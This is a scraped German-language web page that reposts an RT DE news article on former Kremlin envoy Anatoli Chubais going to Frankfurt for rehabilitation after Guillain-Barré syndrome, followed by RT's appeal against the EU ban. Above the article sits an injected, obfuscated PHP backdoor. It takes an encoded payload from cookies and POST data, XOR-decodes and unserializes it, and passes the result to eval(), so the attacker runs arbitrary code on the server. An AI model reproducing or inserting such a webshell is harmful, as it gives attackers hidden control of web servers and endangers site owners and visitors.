$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Putins ehemaliger Sonderbeauftragter zur Rehabilitation nach Deutschland gereist — RT DE – No-Zensur.de Das freie Wort für eine freie Welt
Start RT-deutsch Putins ehemaliger Sonderbeauftragter zur Rehabilitation nach Deutschland gereist — RT DE

Putins ehemaliger Sonderbeauftragter zur Rehabilitation nach Deutschland gereist — RT DE

0
Putins ehemaliger Sonderbeauftragter zur Rehabilitation nach Deutschland gereist — RT DE



Der nach Beginn des Ukraine-Kriegs zurückgetretene Politiker Anatoli Tschubais wurde in Sardinien wegen einer Nervenkrankheit behandelt. Nun soll er zur Rehabilitation nach Frankfurt gereist sein.

Anatoli Tschubais, Ex-Geschäftsführer des staatlichen Nanotechnologie-Unternehmens Rosnano und ehemaliger Sonderbeauftragter des russischen Präsidenten für Beziehungen zu internationalen Organisationen, sei zur Rehabilitation nach Deutschland gereist. Darüber berichtete die Agentur TASS mit Verweis auf eine mit der Situation vertrauten Quelle. Zuvor war Tschubais in einer Klinik in Sardinien behandelt worden. Auch die italienische Zeitung La Repubblica schrieb, dass Tschubais das Krankenhaus von Olbia verlassen habe. Der 67-Jährige habe positiv auf die Medikation reagiert und sei nach Frankfurt geflogen, wo er weiter behandelt werde.

Der Politiker und Ökonom wurde in einer Klinik auf Sardinien behandelt, wo er zuvor Urlaub gemacht haben soll. Die ehemalige russische Präsidentschaftskandidatin und Moderatorin Xenija Sobtschak meldete Ende Juli unter Berufung auf Tschubais‘ Ehefrau, der 67-Jährige sei in „nicht stabilem Zustand“ auf eine Intensivstation gebracht worden. „Ihm wurde schlecht. Seine Arme und Beine erlahmten plötzlich.“

Angesichts dieser Beschreibungen entbrannten in sozialen Netzwerken Spekulationen darüber, ob der einstige Vertraute des russischen Präsidenten möglicherweise vergiftet worden sein könnte. Später schrieb Sobtschak, dass Ärzte bei Tschubais das Guillain-Barré-Syndrom diagnostiziert hätten. Außerdem veröffentlichte sie erste Fotos des Politikers.

Das Syndrom ist eine seltene Autoimmunerkrankung. Dabei verliert der Betroffene teilweise die Kontrolle über die Muskeln in den Extremitäten. Die genauen Ursachen des Syndroms sind unbekannt, in den meisten Fällen tritt die Nervenerkrankung nach bakteriellen und viralen Infektionen auf. Vor einem Jahr entdeckten Ärzte den ersten Beweis dafür, dass das Syndrom als eine Komplikation einer COVID-19-Erkrankung auftreten kann.

Tschubais ist langjähriger Politiker. Nach dem Zerfall der Sowjetunion war er für Wirtschaftsreformen verantwortlich und stieg im Jahr 1997 für kurze Zeit auch zum Finanzminister auf. Ab 2020 hatte er das Amt als Sonderbeauftragter des Kreml inne, das er Ende März dieses Jahres niederlegte, rund einen Monat nach Beginn der Militäroperation in der Ukraine. Medienberichten zufolge war er mit dem Krieg nicht einverstanden. Aus dem Kreml hieß es damals lediglich, Tschubais sei „auf eigenen Wunsch“ gegangen. Kremlsprecher Dmitri Peskow kommentierte die Meldungen zu Tschubais‘ Krankenhausaufenthalt: „Das ist natürlich eine traurige Nachricht, wir wünschen ihm eine baldige Genesung.“

Mehr zum ThemaPeskow gibt Details über Treffen von Putin mit Schröder bekannt: Energiekrise im Fokus des Gesprächs

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.





Source link